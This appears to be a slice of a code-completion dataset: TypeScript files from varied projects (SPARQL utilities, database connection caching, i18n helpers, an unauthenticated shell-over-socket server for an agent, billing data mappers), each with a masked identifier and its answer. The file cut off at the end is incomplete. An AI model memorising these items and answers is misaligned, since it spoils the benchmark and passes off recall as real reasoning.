export class RdfUtils {

  /** find triples matching (s, p, o)
   * could move to Bgp, but is always invokes on a List
   */
  static pmatch (l: P, r: P): boolean {
    return RdfUtils.isPath(l) && RdfUtils.isPath(r)
        ? RdfUtils.pathEquals(l, r)
        : RdfUtils.isPath(l) || RdfUtils.isPath(r)
        ? false
        : l.equals(r);
  }

  static pathEquals (l: SparqlJs.PropertyPath, r: SparqlJs.PropertyPath): boolean {
    return l.type === r.type && l.pathType === r.pathType && !l.items.find(
        (il, iNo) => !RdfUtils.pmatch(il, r.items[iNo])
    );
  }

  static isPath (t: TTerm): t is SparqlJs.PropertyPath {
    return (t as SparqlJs.PropertyPath).type === ""path"";
  }

  static getMatching (triplePatterns: T[], s: S | null, p: P | null, o: O | null): SparqlJs.Triple[] {
    return triplePatterns.filter(tp =>
      (s === null || tp.subject.equals(s)) &&
      (p === null || RdfUtils.pmatch(tp.predicate, p)) &&
      (o === null || tp.object.equals(o))
    );
  }

  /** remove triples matching (s, p, o)
   */
  static stealMatching (triplePatterns: T[], s: S | null, p: P | null, o: O | null): SparqlJs.Triple[] {
    const ret = [];
    for (let i = 0; i < triplePatterns.length; ++i) {
      const tp = triplePatterns[i];
      if ((s === null || tp.subject.equals(s)) &&
          (p === null || RdfUtils.pmatch(tp.predicate, p)) &&
          (o === null || tp.object.equals(o))) {
        ret.push(tp);
        triplePatterns.splice(i, 1);
        --i;
      }
    }
    return ret;
  }

  /** Stringize a predicate
   * Used to sort arcs queried from graphs.
   */
  static pStr (predicate: P): string {
    return !RdfUtils.isPath(predicate)
      ? '<' + predicate.value + '>'
      : '(' + predicate.items.map(item => RdfUtils.pStr(item) + (RdfUtils.isPath(item) ? item.pathType : '')).join('/') + ')'; // TODO: not correct
  }
}

export class Term {
  constructor (
      public termType: string,
      public value: string
  ) {
  }
  equals (r: Term) {
    return this.termType === r.termType && this.value === r.value;
  }
  static blessSparqlJs (sparqlJsTerm: TTerm): Term | Path {
    if (RdfUtils.isPath(sparqlJsTerm))
      { // @ts-ignore
        return new Path(sparqlJsTerm.pathType, sparqlJsTerm.items.map(item => Term.blessSparqlJs(item)));
      }

    switch (sparqlJsTerm.termType) {
    case 'NamedNode': return new NamedNode(sparqlJsTerm.value);
    case 'BlankNode': return new BlankNode(sparqlJsTerm.value);
    case 'Literal':
      const datatype = sparqlJsTerm.datatype ? Term.blessSparqlJs(sparqlJsTerm.datatype) as NamedNode : new NamedNode(Xsd.string.value);
      return new Literal(sparqlJsTerm.value, sparqlJsTerm.language, datatype);
    case 'Variable': return new Variable(sparqlJsTerm.value);
    default: throw Error(`unknown SparqlJs term type in ${JSON.stringify(sparqlJsTerm)}`);
    }
  }
}

class NamedNode extends Term { constructor (value: string) { super('NamedNode', value); } toString() { return '<' + this.value + '>'; } }
class BlankNode extends Term { constructor (value: string) { super('BlankNode', value); } toString() { return '_:' + this.value; } }
class Variable  extends Term { constructor (value: string) { super('Variable', value); } toString() { return '?' + this.value; } }
class Literal extends Term {
  protected language: string;
  protected datatype: NamedNode | null;
  constructor (value: string, language: string, datatype: NamedNode | null) {
    super('Literal', value);
    this.language = language;
    this.datatype = datatype;
  }
  toString () {
    return '""' + this.value + '""' +
      (this.language
       ? '@' + this.language
       : this.datatype && this.datatype.value !== Xsd.string.value
       ? '^^' + this.datatype.toString()
       : '');
  }
  equals (r: Term) {
    return super.equals(r) && this.language === (r as Literal).language && this.datatype === (r as Literal).datatype;
  }
}

export class Path implements SparqlJs.PropertyPath {
  public type: 'path' = 'path';
  constructor (
      public pathType: '|' | '/' | '^' | '+' | '*' | '!',
      public items: Array<IriTerm | Path>,
      // pathType, items
  ) {
  }
  toString (): string {
    return this.items[0].toString() + this.pathType + (
      this.items.length === 1
        ? ''
        : this.items[1].toString()
    );
  }
  equals (r: Path) {
    if (this.type !== r.type) return false;
    if (this.pathType !== r.pathType) return false;
    if (this.items.length !== r.items.length) return false;
    for (let i = 0; i < this.items.length; ++i)
      { // @ts-ignore
        if (!this.items[i].equals(r.items[i]))
                return false;
      }
    return true;
  }
}

export class Triple implements SparqlJs.Triple {
  constructor (
    public subject: S,
    public predicate: P,
    public object: O,
  ) {}
  toString () {
    return `${this.subject} ${this.predicate} ${this.object} .`;
  }
  equals (r: Triple) {
    return this.subject.equals(r.subject) &&
      RdfUtils.pmatch(this.predicate, r.predicate) &&
      this.object.equals(r.object);
  }
  static blessSparqlJs (triple: SparqlJs.Triple) {
    return new Triple(
      Term.blessSparqlJs(triple.subject as TTerm) as S,
      Term.blessSparqlJs(triple.predicate as TTerm) as P,
      Term.blessSparqlJs(triple.object as TTerm) as O,
    );
  }
}

export class Bgp implements SparqlJs.BgpPattern {
  type: 'bgp' = 'bgp';
  constructor (
      public triples: SparqlJs.Triple[]) {
  }
  toString (indent = '') {
    return indent + '{\n' + this.triples.map(t => indent + '  ' + t.toString() + '\n').join('') + '}';
  }
  static blessSparqlJs (sparqlJsBgp: SparqlJs.BgpPattern) {
    if (sparqlJsBgp.type !== 'bgp') throw Error(`expected to bless something with .type=bgp in ${JSON.stringify(sparqlJsBgp)}`);
    return new Bgp(sparqlJsBgp.triples.map(t => Triple.blessSparqlJs(t)));
  }
}

export class SparqlQuery implements SparqlJs.SelectQuery {
  type: 'query' = 'query';
  // base: string | undefined;
  prefixes: { [prefix: string]: string; } = {};
  queryType: 'SELECT' = 'SELECT';
  variables: [SparqlJs.Wildcard] = [new SparqlJs.Wildcard()];
  where: SparqlJs.BgpPattern[];
  constructor (query: SparqlJs.Query) {
    // query.where[0].triples = query.where[0].triples.map(t => Triple.blessSparqlJs(t));
    this.prefixes = query.prefixes;
    //@ts-ignore
    this.variables = query.variables;
    /* This isn't *really* the BGPs; it's flattened (without checking for
       reassignment in the projection or in BINDs, e.g.
       SELECT ?obs ?patient ?birthdate {
         { SELECT (?subject AS ?patient) ?name  {
           ?obs fhir:subject [ fhir:link ?subject ] }
         ?patient fhir:status [ fhir:v ?isActive ] ;
           fhir:birthDate [ fhir:v ?bdate ] .
         BIND (?bdate AS ?birthdate)
       }
       This will require restructuring to remain compatible with Jena.
     */
    this.where = this.findBgps(query).map(bgp => Bgp.blessSparqlJs(bgp as BgpPattern));
  }

  findBgps (q: SparqlJs.Query): Array<SparqlJs.BgpPattern> {
    if (q.type !== 'query')
      throw Error(`Expected type: ""query""; got ${JSON.stringify(q)}`);
    return q.where!.reduce<SparqlJs.BgpPattern[]>((acc, elt) => {
      if (elt.type === 'group')
        return acc.concat(this.findBgps(elt.patterns[0] as SparqlJs.Query));
      if (elt.type === 'bgp')
        return acc.concat([elt]);
      // console.log(`skipping ${elt.type}`);
      return acc;
    }, []);
  }

  getQuery () { return this; }
  getWhere () { return this.where; };

  static parse ( [MASK] : string, opts?: any) {
    const SparqlParser = new SparqlJs.Parser(opts);
    return new SparqlQuery(SparqlParser.parse( [MASK] ) as Query);
  }

  static selectStar (bgp: BgpPattern) {
    const where: Pattern[] = [bgp];
    return SparqlGenerator.stringify({
      ""type"": 'query',
      ""prefixes"": {},
      ""queryType"": 'SELECT',
      ""variables"": [ new Wildcard() ],
      where,
    }) as string;
  }
}

// export type SparqlSolution = Map<string, TTerm>;
export interface SparqlSolution {
  [variable: string]: TTerm;
}

export interface Meta {
  base: string;
  prefixes: {[prefix: string]: string};
}

export function renderResultSet (sparqlSolutions: SparqlSolution[]): string[] {
  return sparqlSolutions.map(
    (sparqlSolution): string => '{'
      + Object.keys(sparqlSolution).map(
        b =>
          `\n  ?${b} => ${Term.blessSparqlJs(sparqlSolution[b])}`
      ).join('')
      + '\n}'
  );
}
",text
186,"import path from ""path"";
import { ConnectOptions, createConnection } from ""mongoose"";
import getFiles from ""getFiles"";
import databaseConnection from ""databaseConnection""; // Imports are incorrect, but if you look in the directory you can find some of them by name

let connections: { DBName: string, connection: databaseConnection }[] = []

const newConnection = (DBName: string, options: ConnectOptions = {}): databaseConnection => {
    options.keepAlive = true

    let oldConnection = connections.find(element => element.DBName === DBName) || null

    if (oldConnection) {
        return oldConnection.connection
    }

    const conn = createConnection(`uri`, options)

    const  [MASK]  = path.resolve(__dirname, ""schemas"")
    const schemas = getFiles( [MASK] , "".js"")
    var schemaObjects = []

    for (const schemaPath of schemas) {
        let module = require(schemaPath)
        if (module.default) module = module.default

        let { name, schema, DatabaseName } = module

        if (DatabaseName == DBName) { // Certain schemas have a database name. We wont create the collection if the database name doesnt match.
            schemaObjects.push({
                name,
                schema,
                isEqual: true
            })
        } else if (DatabaseName.length == 0) {
            schemaObjects.push({
                name,
                schema,
                isEqual: false
            })
        }
    }

    const equalschemaobjects = schemaObjects.filter(obj => obj.isEqual == true) // Checking through what i said earlier

    if (equalschemaobjects.length == 0) {
        schemaObjects.forEach(obj => {
            conn.model(obj.name, obj.schema)
        })
    } else {
        equalschemaobjects.forEach(obj => {
            conn.model(obj.name, obj.schema)
        })
    }

    let dbCon = new databaseConnection(conn, DBName)
    
    connections.push({DBName: DBName, connection: dbCon}) // This is so we dont have to connect all the time. Slowing down commands and bot.

    return dbCon;
}

const closeConnection = (connection: databaseConnection) => {
    let filtered = connections.filter(function(value, index, arr){
        return value.DBName != connection.DBName
    })

    connections = filtered

    connection.connection.close()
}

const closeAllConnections = () => {
    connections.forEach(connection => {
        connection.connection.connection.close() // lol
    })
}

export default { newConnection, closeConnection, closeAllConnections }",schemasPath
187,"export const defaultLanguage = 'en-us';

export const languages = [
  { code: 'en-us', name: 'English' },
  { code: 'zh-cn', name: '中文' },
] as const;

export type Language = typeof languages[number]['code'];

export const isValidLanguage = (lang: string): lang is Language => {
  return languages.some(l => l.code === lang);
};

export const getLanguageFromPath = (pathname: string): Language => {
  const segments = pathname.split('/').filter(Boolean);
  
  // Check if this is a documentation path format: /chat2graph/[lang]/...
  if (segments.length >= 2 && segments[0] === 'chat2graph') {
    const langSegment = segments[1];
    if (isValidLanguage(langSegment)) {
      return langSegment;
    }
  }
  
  // Check if the first segment is a language code (for other path formats)
  const firstSegment = segments[0];
  if (isValidLanguage(firstSegment)) {
    return firstSegment;
  }
  
  return defaultLanguage;
};

export const removeLanguageFromPath = (pathname: string): string => {
  const segments = pathname.split('/').filter(Boolean);
  const firstSegment = segments[0];
  
  if (isValidLanguage(firstSegment)) {
    return '/' + segments.slice(1).join('/');
  }
  
  return pathname;
};

export const addLanguageToPath = (pathname: string, language: Language): string => {
  const  [MASK]  = removeLanguageFromPath(pathname);
  return `/${language}${ [MASK] }`;
};
",cleanPath
188,"import { Resource, ResourceKey, ResourceLanguage } from 'i18next';
import { Translations } from '@/src/generic/types/Translation.type.ts';

const languages = ([key, value]: [string, ResourceKey]): [string, ResourceLanguage] => [
  key,
  {
    translation: value,
  },
];

const merge = (translations: Translations[]): Translations =>
  translations
    .flatMap((translations) => Object.entries(translations))
    .reduce(
      (prev, [key, translation]) => ({
        ...prev,
        [key]: prev[key] ? { ...prev[key], ...translation } : translation,
      }),
      {} as Translations
    );

export const translation = (...translations: Translations[]): Resource =>
  Object.entries(merge(translations))
    .map(languages)
    .reduce(
      (prev,  [MASK] ) => ({
        ...prev,
        [ [MASK] [0]]:  [MASK] [1],
      }),
      {}
    );
",current
189,"import { spawn } from 'child_process';
import net from 'net';
import { maybeMultipartFormRequestOptions } from 'openai/uploads';

const bashServerPort = Number(process.env.BASH_SERVER_PORT) || 3031;

interface Env {
    shells: {
        [id: string]: {
            proc: any,
            history: string
        }
    };
    activeShellID: string | null;
}

const env: Env = {
    shells: {},
    activeShellID: null
};

const server = net.createServer();

const sockets: net.Socket[] = [];

function writeToSockets(msg: string) {
    for (const socket of sockets) {
        socket.write(msg);
    }
}

function newShell(payload: any) {
    const {
        shellID = undefined, shellPath = ""/bin/bash"", shellArgs = []
    } = payload;
    const id = shellID ? shellID : ""shell-"" + Math.random().toString(36).substring(7);
    const  [MASK]  = [
        '--rcfile',
        './.bashrc',
        ...shellArgs,
        ""-i""
    ];
    console.log(""calling spawn with: "", shellPath,  [MASK] );
    env.shells[id] = {
        proc: spawn(
            `${shellPath}`,
             [MASK] ,
            { stdio: ['pipe', 'pipe', 'pipe', 'ipc'] }
        ),
        history: ''
    };
    env.activeShellID = id;
    env.shells[id].proc.stdin?.write('\n');
    writeToSockets(`observation: created shell with ID ${id} and made it active shell.`);

    // Relay messages from the subprocess to the socket
    env.shells[id].proc.stdout?.on('data', (data) => {
        console.log(`observation: shell ${id}:\n` + data);
        writeToSockets(`observation: shell ${id}:\n` + data);
    });
    env.shells[id].proc.stderr?.on('data', (data) => {
        console.log(`observation: shell ${id}:\n` + data);
        writeToSockets(`observation: shell ${id}:\n` + data);
    });
    env.shells[id].proc.on('exit', (data) => {
        console.log(`observation: shell '${id}' exited.`);
        writeToSockets(`observation: shell '${id}' exited.`);
        //TODO: mark shell as exited in env.shells
    });
    env.shells[id].proc.on('close', (signal) => {
        console.log(`observation: shell '${id}' terminated due to receipt of signal ${signal}`);
        writeToSockets(`observation: shell '${id}' terminated due to receipt of signal ${signal}`);
    });
}

function runCommand(payload: any) {
    if (env.activeShellID === null) {
        writeToSockets(""observation: there are no shells open"");
    } else {
        const { command } = payload;
        env.shells[env.activeShellID].proc.stdin?.write(command + '\n');
    }
}

function switchToShell(payload: any) {
    const { id } = payload;
    if (id in env.shells) {
        env.activeShellID = id;
        writeToSockets(`observation: switched to shell '${id}'`);
    } else {
        writeToSockets(`observation: shell '${id}' does not exist`);
    }
}

function whichShellActive(payload: any) {
    if (env.activeShellID === null) {
        writeToSockets(`observation: there are no shells open`);
    } else {
        writeToSockets(`observation: active shell is '${env.activeShellID}'`);
    }
}

server.on('connection', (socket) => {
    console.log('bashServer: client connected')
    sockets.push(socket);
    // Relay messages from the socket to the subprocess
    socket.on('data', (data) => {
        console.log(""received: "", data.toString());
        const msg = JSON.parse(data.toString());
        const { type, payload = {} } = msg;
        if (type === 'openNewShell') {
            newShell(payload);
        } else if (type === 'runCommand') {
            runCommand(payload);
        } else if (type === 'switchToShell') {
            switchToShell(payload);
        } else if (type === 'whichShellActive') {
            whichShellActive(payload);
        } else {
            console.log(""received unrecognized type from client: "", type);
        }
    });
    socket.on('close', () => {
        console.log('a client disconnected');
        const index = sockets.indexOf(socket);
        if (index !== -1) {
            sockets.splice(index, 1);
        }
    });
});


server.listen(bashServerPort, () => {
  console.log(`bashServer listening on port ${bashServerPort}`);
});

console.log(""done running listen. registering process.on('SIGTERM')"")
// Listen for SIGTERM signal
process.on('SIGTERM', () => {
    console.log('SIGTERM signal received. Shutting down...');
    // Perform any cleanup operations here
    process.exit(0);
});
",augmentedShellArgs
190,"import { AoiFunction, ArgsType } from ""aoitelegram""

/**
 * Adds a cubic bezier curve to the currect path.
 */
export default new AoiFunction({
    name: ""$addColorStop"",
    brackets: true,
    fields: [        
        {
            name: ""Gradient Name"",
            type: [ArgsType.String],
            required: true,
            rest: false
        },
        {
            name: ""Offset"",
            type: [ArgsType.Number],
            required: true,
            rest: false
        },
        {
            name: ""Color"",
            type: [ArgsType.Number],
            required: true,
            rest: false
        }
    ],
    async callback(ctx,  [MASK] ) {
        const [gradientName, offset, color] = await  [MASK] .resolveFields(ctx);
        const gradient = ctx.variable.get(gradientName) as CanvasGradient
        
        gradient.addColorStop(offset, color)

        return  [MASK] .resolve()
    }
})",func
191,"/**
 * Utility functions for creating Prisma models from Bill API models.
 */

// External Modules ----------------------------------------------------------

// Internal Modules ----------------------------------------------------------

import {
  BillAccount,
  BillBill,
  BillBillApprover,
  BillBillLineItem,
  BillUser,
  BillVendor,
  BillVendorCredit,
  BillVendorCreditApprover,
  BillVendorCreditLineItem,
  BillVendorCreditUsage,
} from ""@repo/bill-api/Models"";
import {
  Account,
  Bill,
  BillApprover,
  BillClassifications,
  BillLineItem,
  BillLineItemClassifications,
  User,
  Vendor,
  VendorAdditionalInfo,
  VendorAddress,
  VendorAutoPay,
  VendorCredit,
  VendorCreditApprover,
  VendorCreditLineItem,
  VendorCreditLineItemClassifications,
  VendorCreditUsage,
  VendorPaymentInformation,
  VendorVirtualCard,
} from ""@repo/bill-db/Models"";

// Public Objects ------------------------------------------------------------

export function createAccount(billAccount: BillAccount): Account {
  return {
    id: billAccount.id,
    accountNumber: billAccount.accountNumber || null,
    accountType: billAccount.accountType || null,
    ca1099FormType: billAccount.ca1099FormType || null,
    ca1099Type: billAccount.ca1099Type || null,
    createdTime: billAccount.createdTime || null,
    description: billAccount.description || null,
    entity: billAccount.entity || null,
    isActive: billAccount.isActive === ""1"",
    name: billAccount.name || null,
    updatedTime: billAccount.updatedTime || null,
    parentChartOfAccountId: billAccount.parentChartOfAccountId || null,
  };
}

export function createBill(bill: BillBill): Bill {
  return {
    id: bill.id,
    amount: bill.amount || null,
    archived: bill.archived || null,
    createdTime: bill.createdTime || null,
    creditAmount: bill.creditAmount || null,
    description: bill.description || null,
    dueAmount: bill.dueAmount || null,
    dueDate: bill.dueDate || null,
    exchangeRate: bill.exchangeRate || null,
    fundingAmount: bill.fundingAmount || null,
    invoiceDate: bill.invoice?.invoiceDate || null,
    invoiceNumber: bill.invoice?.invoiceNumber || null,
    paidAmount: bill.paidAmount || null,
    updatedTime: bill.updatedTime || null,
    vendorName: bill.vendorName || null,
    payFromChartOfAccountId: bill.payFromChartOfAccountId || null,
    vendorId: bill.vendorId,
  };
}

export function createBillApprover(billBillApprover: BillBillApprover): BillApprover {
  return {
    id: billBillApprover.id,
    entity: billBillApprover.entity || null,
    isActive: billBillApprover.isActive === ""1"",
    lastReminderDate: billBillApprover.lastReminderDate || null,
    sortOrder: billBillApprover.sortOrder || null,
    status: billBillApprover.status || ""UNDEFINED"",
    statusChangedDate: billBillApprover.statusChangedDate || null,
    billId: billBillApprover.billId,
    userId: billBillApprover.usersId,
  };
}

export function createBillClassifications(bill: BillBill): BillClassifications | null {
  if (!bill.classifications) {
    return null;
  }
  return {
    billId: bill.id,
    accountingClassId: bill.classifications.accountingClassId || null,
    chartOfAccountId: bill.classifications.chartOfAccountId || null,
    departmentId: bill.classifications.departmentId || null,
    itemId: bill.classifications.itemId || null,
    locationId: bill.classifications.locationId || null,
  };
}

export function createBillLineItem(bill: BillBill, billLineItem: BillBillLineItem): BillLineItem {
  return {
    id: billLineItem.id,
    amount: billLineItem.amount || null,
    description: billLineItem.description || null,
    price: billLineItem.price || null,
    quantity: billLineItem.quantity || null,
    billId: bill.id,
  };
}

export function createBillLineItemClassifications(bill: BillBill, billLineItem: BillBillLineItem): BillLineItemClassifications {
  return {
    billLineItemId: billLineItem.id,
    accountingClassId: billLineItem.classifications?.accountingClassId || null,
    chartOfAccountId: billLineItem.classifications?.chartOfAccountId || null,
    customerId: billLineItem.classifications?.customerId || null,
    departmentId: billLineItem.classifications?.departmentId || null,
    employeeId: billLineItem.classifications?.employeeId || null,
    itemId: billLineItem.classifications?.itemId || null,
    jobId: billLineItem.classifications?.jobId || null,
    locationId: billLineItem.classifications?.locationId || null,
  };
}

export function createUser(billUser: BillUser): User {
  return {
    // Scalar fields
    id: billUser.id,
    archived: billUser.archived,
    createdTime: billUser.createdTime,
    email: billUser.email,
    firstName: billUser.firstName,
    lastName: billUser.lastName,
    roleDescription: billUser.role.description || null,
    roleId: billUser.role.id || null,
    roleType: billUser.role.type || null,
    updatedTime: billUser.updatedTime,
    // Potential relationships
    // Actual relationships
  };
}

export function createVendor(billVendor: BillVendor): Vendor {
  return {
    id: billVendor.id,
    accountNumber: billVendor.accountNumber || null,
    accountType: billVendor.accountType || null,
    archived: billVendor.archived,
    balance_amount: billVendor.balance?.amount || null,
    balance_lastUpdatedDate: billVendor.balance?.lastUpdatedDate || null,
    billCurrency: billVendor.billCurrency || null,
    createdTime: billVendor.createdTime,
    email: billVendor.email || null,
    name: billVendor.name,
    networkStatus: billVendor.networkStatus || null,
    phone: billVendor.phone || null,
    recurringPayments: billVendor.recurringPayments || null,
    rppsId: billVendor.rppsId || null,
    shortName: billVendor.shortName || null,
    updatedTime: billVendor.updatedTime,
  };
}

export function createVendorAdditionalInfo(billVendor: BillVendor): VendorAdditionalInfo | null {
  if (!billVendor.additionalInfo) {
    return null;
  }
  return {
    vendorId: billVendor.id,
    combinePayment: billVendor.additionalInfo.combinePayment || null,
    companyName: billVendor.additionalInfo.companyName || null,
    leadTimeInDays: billVendor.additionalInfo.leadTimeInDays || null,
    paymentTermId: billVendor.additionalInfo.paymentTermId || null,
    taxId: billVendor.additionalInfo.taxId || null,
    taxIdType: billVendor.additionalInfo.taxIdType || null,
    track1099: billVendor.additionalInfo.track1099 || null,
  };
}

export function createVendorAddress(billVendor: BillVendor): VendorAddress | null {
  if (!billVendor.address) {
    return null;
  }
  return {
    vendorId: billVendor.id,
    city: billVendor.address.city || null,
    country: billVendor.address.country || null,
    countryName: billVendor.address.countryName || null,
    line1: billVendor.address.line1 || null,
    line2: billVendor.address.line2 || null,
    stateOrProvince: billVendor.address.stateOrProvince || null,
    zipOrPostalCode: billVendor.address.zipOrPostalCode || null,
  };
}

export function createVendorAutoPay(billVendor: BillVendor): VendorAutoPay | null {
  if (!billVendor.autoPay) {
    return null;
  }
  return {
    vendorId: billVendor.id,
    bankAccountId: billVendor.autoPay.bankAccountId || null,
    createdBy: billVendor.autoPay.createdBy || null,
    daysBeforeDueDate: billVendor.autoPay.daysBeforeDueDate || null,
    enabled: billVendor.autoPay.enabled || false,
    maxAmount: billVendor.autoPay.maxAmount || null,
  };
}

export function createVendorCredit(billVendorCredit: BillVendorCredit): VendorCredit {
  return {
    id: billVendorCredit.id,
    amount: billVendorCredit.amount || null,
    appliedAmount: billVendorCredit.appliedAmount || null,
    archived: billVendorCredit.archived || null,
    createdDate: billVendorCredit.createdDate || null,
    description: billVendorCredit.description || null,
    referenceNumber: billVendorCredit.referenceNumber || null,
    vendorCreditStatus: billVendorCredit.vendorCreditStatus || ""UNDEFINED"",
    applyToBankAccountId: billVendorCredit.applyToBankAccountId || null,
    applyToChartOfAccountId: billVendorCredit.applyToChartOfAccountId || null,
    vendorId: billVendorCredit.vendorId!,
  };
}

export function createVendorCreditApprover( [MASK] : BillVendorCreditApprover): VendorCreditApprover {
  return {
    id:  [MASK] .id,
    entity:  [MASK] .entity || null,
    isActive:  [MASK] .isActive === ""1"",
    lastReminderDate:  [MASK] .lastReminderDate || null,
    sortOrder:  [MASK] .sortOrder || null,
    status:  [MASK] .status || ""UNDEFINED"",
    statusChangedDate:  [MASK] .statusChangedDate || null,
    userId:  [MASK] .usersId,
    vendorCreditId:  [MASK] .vendorCreditId,
  };
}

export function createVendorCreditLineItem(vendorCreditId: string, billVendorCredit: BillVendorCredit): VendorCreditLineItem {
  return {
    id: billVendorCredit.id,
    amount: billVendorCredit.amount || null,
    description: billVendorCredit.description || null,
    vendorCreditId: vendorCreditId,
  };
}

export function createVendorCreditLineItemClassifications(billVendorCreditLineItem: BillVendorCreditLineItem): VendorCreditLineItemClassifications {
  return {
    id: billVendorCreditLineItem.id,
    accountingClassId: billVendorCreditLineItem.classifications?.accountingClassId || null,
    customerId: billVendorCreditLineItem.classifications?.customerId || null,
    departmentId: billVendorCreditLineItem.classifications?.departmentId || null,
    employeeId: billVendorCreditLineItem.classifications?.employeeId || null,
    itemId: billVendorCreditLineItem.classifications?.itemId || null,
    jobId: billVendorCreditLineItem.classifications?.jobId || null,
    locationId: billVendorCreditLineItem.classifications?.locationId || null,
    chartOfAccountId: billVendorCreditLineItem.classifications?.chartOfAccountId || null,
  }
}

export function createVendorCreditUsage(billVendorCreditId: string, usage: BillVendorCreditUsage, index: number): VendorCreditUsage {
  return {
    vendorCreditId: billVendorCreditId,
    index: index,
    amount: usage.amount || null,
    billId: usage.billId || null,
    paymentId: usage.paymentId || null,
  };
}

export function createVendorPaymentInformation(billVendor: BillVendor): VendorPaymentInformation | null {
  if (!billVendor.paymentInformation) {
    return null;
  }
  return {
    vendorId: billVendor.id,
    email: billVendor.paymentInformation.email || null,
    lastPaymentDate: billVendor.paymentInformation.lastPaymentDate || null,
    payBySubType: billVendor.paymentInformation.payBySubType || ""UNDEFINED"",
    payByType: billVendor.paymentInformation.payByType || ""UNDEFINED"",
    payeeName: billVendor.paymentInformation.payeeName || null,
  };
}

export function createVendorVirtualCard(billVendor: BillVendor): VendorVirtualCard | null {
  if (!billVendor.paymentInformation || !billVendor.paymentInformation.virtualCard) {
    return null;
  }
  return {
    vendorId: billVendor.id,
    alternatePayByType: billVendor.paymentInformation.virtualCard.alternatePayByType || null,
    declineDate: billVendor.paymentInformation.virtualCard.declineDate || null,
    enrollDate: billVendor.paymentInformation.virtualCard.enrollDate || null,
    remitEmail: billVendor.paymentInformation.virtualCard.remitEmail || null,
    status: billVendor.paymentInformation.virtualCard.status || null,
  }
}

",billVendorCreditApprover
192,"/**
 * This code is briefly taken from https://github.com/mikolalysenko/to-px/blob/51c2fbdcfd481ed718af138f6ae1e4157e76b347/browser.js
 * Licensed under MIT license by original author.
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 <NAME>
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the ""Software""), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

import parseUnit from 'parse-unit';

var PIXELS_PER_INCH = getSizeBrutal('in', document.body); // 96

function getPropertyInPX(element: Element, prop: string): number {
  var [number, unit] = parseUnit(
    getComputedStyle(element).getPropertyValue(prop),
  );
  return number * toPx(unit, element)!;
}

//This brutal hack is needed
function getSizeBrutal(unit: string, element: Element): number {
  var fakeDiv = document.createElement('div');
  fakeDiv.style.height = '128' + unit;
  element.appendChild(fakeDiv);
  var size = getPropertyInPX(fakeDiv, 'height') / 128;
  element.removeChild(fakeDiv);
  return size;
}

export function toPx(
  rawUnit: string | number,
  rawElement: Window | Document | Element | null = null,
  prop: 'width' | 'height' = 'width',
): number {
  if (!rawUnit && rawUnit !== 0) {
    return NaN;
  }

  let element: Element;
  if (
    !rawElement ||
    rawElement instanceof Window ||
    rawElement instanceof Document
  ) {
    element = document.body;
  } else {
    element = rawElement;
  }

  const unit = (String(rawUnit) || 'px').trim().toLowerCase();

  switch (unit) {
    case '%': //Ambiguous, not sure if we should use width or height
      return element[prop === 'width' ? 'clientWidth' : 'clientHeight'] / 100.0;
    case 'ch':
    case 'ex':
      return getSizeBrutal(unit, element);
    case 'em':
      return getPropertyInPX(element, 'font-size');
    case 'rem':
      return getPropertyInPX(document.body, 'font-size');
    case 'vw':
      return window.innerWidth / 100;
    case 'vh':
      return window.innerHeight / 100;
    case 'vmin':
      return Math.min(window.innerWidth, window.innerHeight) / 100;
    case 'vmax':
      return Math.max(window.innerWidth, window.innerHeight) / 100;
    case 'in':
      return PIXELS_PER_INCH;
    case 'cm':
      return PIXELS_PER_INCH / 2.54;
    case 'mm':
      return PIXELS_PER_INCH / 25.4;
    case 'pt':
      return PIXELS_PER_INCH / 72;
    case 'pc':
      return PIXELS_PER_INCH / 6;
    case 'px':
      return 1;
  }

  // detect number of units
  var  [MASK]  = parseUnit(unit);
  if (isNaN( [MASK] [0])) {
    return NaN;
  }

  if ( [MASK] [1]) {
    var px = toPx( [MASK] [1], rawElement);
    return typeof px === 'number' ?  [MASK] [0] * px : NaN;
  } else {
    return  [MASK] [0];
  }
}
",parts
193,"import { NextRequest, NextResponse } from 'next/server'
import OpenAI from 'openai';
import * as fs from 'fs';
import * as path from 'path';
import { ChatCompletionMessageParam } from 'openai/resources/index.mjs';

type DataQualityResponse = {
  data_to_use: {
    columns: string[];
    explanation: string;
  }
  preferred_data_if_not_exists: {
    columns: string[];
    explanation: string;
  }
};

type HNYAPIColumn = {
  id: string;
  key_name: string;
  hidden: boolean;
  description: string;
  type: string;
  last_written: string;
  created_at: string;
  updated_at: string;
};

const directoryPath = path.join(__dirname, '../../../../../data');

const client = new OpenAI({
  apiKey: process.env.OPENAI_API_KEY
});

async function getDatasetEmbedding(columns: string[], dataset: string): Promise<number[][]> {
  let embedding: number[][] = [];
  const file = `${dataset}-embedding.json`;

  if (fs.existsSync(path.join(directoryPath, file))) {
    const data = fs.readFileSync(path.join(directoryPath, file), 'utf8');
    const embeddingData: number[][] = JSON.parse(data);
    return embeddingData;
  }

  const columnsEmbeddings = await client.embeddings.create({
    model: ""text-embedding-3-small"",
    input: columns,
  });

  fs.writeFileSync(path.join(directoryPath, file), JSON.stringify(columnsEmbeddings.data));

  return embedding;
}

async function getDatasetColumns(dataset: string): Promise<string[]> {
  const file = `columns-${dataset}.csv`;
  if (fs.existsSync(path.join(directoryPath, file))) {
    const data = fs.readFileSync(path.join(directoryPath, file), 'utf8');
    return data.split("","");
  }

  const hnyKey = process.env.HNY_API_KEY!; // TODO: Add error handling I guess
  const url = `https://api.honeycomb.io/1/columns/${dataset}`;
  const response = await fetch(url, {
    headers: {
      ""X-Honeycomb-Team"": hnyKey
    }
  });

  const fetchedColumns: HNYAPIColumn[] = await response.json();
